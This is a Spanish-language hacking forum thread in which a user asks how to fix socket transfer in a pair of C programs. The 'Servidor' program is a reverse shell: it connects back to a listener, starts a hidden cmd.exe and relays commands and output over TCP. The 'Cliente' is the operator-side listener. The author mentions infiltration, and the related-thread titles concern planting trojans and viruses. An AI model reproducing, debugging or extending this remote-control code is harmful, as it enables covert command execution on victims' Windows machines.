Abril 24, 2018, 03:13:08 pm

Autor Tema: ¿como arreglo el socket para mandar datos correctamente?  (Leído 677 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado proxy_lainux

  • Me das tu IP?
  • *
  • Mensajes: 51
    • Ver Perfil
¿como arreglo el socket para mandar datos correctamente?
« en: Enero 02, 2015, 11:41:42 pm »
hola

Estoy haciendo un código que habia dejado hace ya varios años, es un metodo ya muy detectado e incluso ya un poco inutil para los nuevos sistemas operativos, esto era más para windows XP, así que por más que parezca ya no sirve para infiltración ni nada parecido, y hay metodos mejor y con ASM mucho mejor, pero me lo volvi a encontrar y tengo la duda sobre el envio de informacion con socket

El programa funciona correctamente, pero cuando intente ponerle un socket para usarlo mediante LAN, no he podido hacer la transferencia de datos correctamente, no he logrado quitar la basura y al principio avanza bien, pero después de un rato de mandar comandos se cierra la aplicación y si es una lista grande igualmente se congela y se cierra.

Me podrían ayudar a arreglar el socket para que mande bien la información porfavor

Cliente

Código: You are not allowed to view links. Register or Login
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib, "Ws2_32.lib")


int main()
{
WSADATA sdw;
SOCKET cosk;
int co = 0;
char bf[1000];
char buff[1000];

struct sockaddr_in cl;

WSAStartup(MAKEWORD(2,2),&sdw);
cosk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

cl.sin_family = AF_INET;
cl.sin_port = htons(8888);
cl.sin_addr.s_addr = INADDR_ANY;

if(bind(cosk, (struct sockaddr*)&cl, sizeof(struct sockaddr)) == -1){
    printf("error bind");
}

if(listen(cosk, 1) == -1){

    printf("error listen");
}

    co = sizeof(struct sockaddr);

     if((cosk = accept(cosk, (struct sockaddr*)&cl, &co)) == -1){
        cosk = accept(cosk, (struct sockaddr*)&cl, &co);

        }


recv(cosk, bf, sizeof(bf),0);
bf[strlen(bf)] = '\0';
printf("%s", bf);

while(1){

fgets(buff,sizeof(buff),stdin);
send(cosk, buff,strlen(buff),0);


recv(cosk, bf, sizeof(bf),0);
bf[strlen(bf)] = '\0';
printf("%s", bf);
fflush(stdin);

}

}


Servidor

Código: You are not allowed to view links. Register or Login
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib, "Ws2_32.lib")

SOCKET fd;

char syst[1000];
char cpsys[1000];
char mdcm[1000];
char iobuf[1000];

SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;

HANDLE read_leer_out;
HANDLE write_leer_out;
HANDLE read_write_in;
HANDLE write_write_in;

BOOL cps;

unsigned long baits;
unsigned long baitz;

int salida();

int salida(){

        recv(fd,mdcm, sizeof(mdcm), 0);
        res_z = WriteFile(read_write_in, mdcm, strlen(mdcm), &baits,NULL);
return 0;
    }

int main()
{
WSADATA wsa;
    struct sockaddr_in cli;
    struct hostent* he;

    WSAStartup(MAKEWORD(2,2), &wsa);
    he = gethostbyname("127.0.0.1");
    fd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    cli.sin_family = AF_INET;
    cli.sin_port = htons(8888);
    cli.sin_addr = *((struct in_addr*)he->h_addr);
    memset(cli.sin_zero, 8, 0);

    if((connect(fd, (struct sockaddr*)&cli, sizeof(struct sockaddr)) == -1)){
connect(fd, (struct sockaddr*)&cli, sizeof(struct sockaddr));
}


    GetSystemDirectory(syst,sizeof(syst));
    strcpy_s(cpsys,sizeof(syst),syst);
    strcat(cpsys,"\\");
    strcat(cpsys, "cmd.exe");

    sa.lpSecurityDescriptor = NULL;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;

    CreatePipe(&read_leer_out, &write_leer_out, &sa, 0);
    CreatePipe(&write_write_in, &read_write_in, &sa, 0);

    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    si.hStdOutput = write_leer_out;
    si.hStdError = write_leer_out;
    si.hStdInput = write_write_in;

    cps = CreateProcess(NULL, cpsys, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    if(cps == FALSE){
        printf("Error Creando proceso");
    }

    while(1){

    PeekNamedPipe(read_leer_out, iobuf, sizeof(iobuf), &baits, &baitz, NULL);

    if(baits != 0){

    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)salida,0,0,0);
    memset(iobuf,0,sizeof(iobuf));
                   ReadFile(read_leer_out, iobuf, sizeof(iobuf), &baits, NULL);
send(fd,iobuf,strlen(iobuf),0);
printf("%s", iobuf);

     }
    }

    TerminateProcess(pi.hProcess, 0);

}



question
Mandar audio por socket

Iniciado por erjaimer

3 Respuestas
2284 Vistas
Último mensaje Febrero 02, 2010, 03:16:07 pm
por erjaimer
question
como abro correctamente un puerto para usar troyanos

Iniciado por darkangel2125

3 Respuestas
866 Vistas
Último mensaje Marzo 13, 2012, 11:44:44 am
por darkangel2125
xx
Mandar datos a una BD

Iniciado por ShadowByte

1 Respuestas
872 Vistas
Último mensaje Junio 14, 2012, 04:33:50 pm
por messerschmitt
question
asignar direccion a una posicion de arreglo??? (Arreglo de direcciones???)

Iniciado por ralymontes

10 Respuestas
2433 Vistas
Último mensaje Mayo 22, 2010, 08:15:52 pm
por ralymontes
resuelto
[Solucionado] Mandar datos a mi correo

Iniciado por racso34

4 Respuestas
986 Vistas
Último mensaje Febrero 18, 2011, 03:28:11 pm
por racso34
xx
Mandar mail a base de datos (php y mysql)

Iniciado por DarkAngel

1 Respuestas
1586 Vistas
Último mensaje Agosto 30, 2007, 08:42:02 pm
por Universal SAC
xx
COMO OCULTAR MI IP , ISP, PARA MANDAR TROYANO

Iniciado por marioandres

8 Respuestas
5287 Vistas
Último mensaje ſeptiembre 06, 2008, 03:09:55 am
por virusin
xx
como hago para mandar el fichero que he creado con el poseidon?

Iniciado por tritron

1 Respuestas
884 Vistas
Último mensaje Mayo 09, 2007, 04:28:44 pm
por Raz!el
question
{*[*(*urge*)*]*}COMO CONSEGUIR UN IP PARA MANDAR UN VIRUS O TROYANO

Iniciado por andion

8 Respuestas
3746 Vistas
Último mensaje Abril 04, 2007, 04:25:18 pm
por Suikodenman
xx
Como Instalar correctamente 2 S.O??

Iniciado por cazaoscuro

1 Respuestas
1244 Vistas
Último mensaje Abril 06, 2008, 06:37:44 pm
por rgb90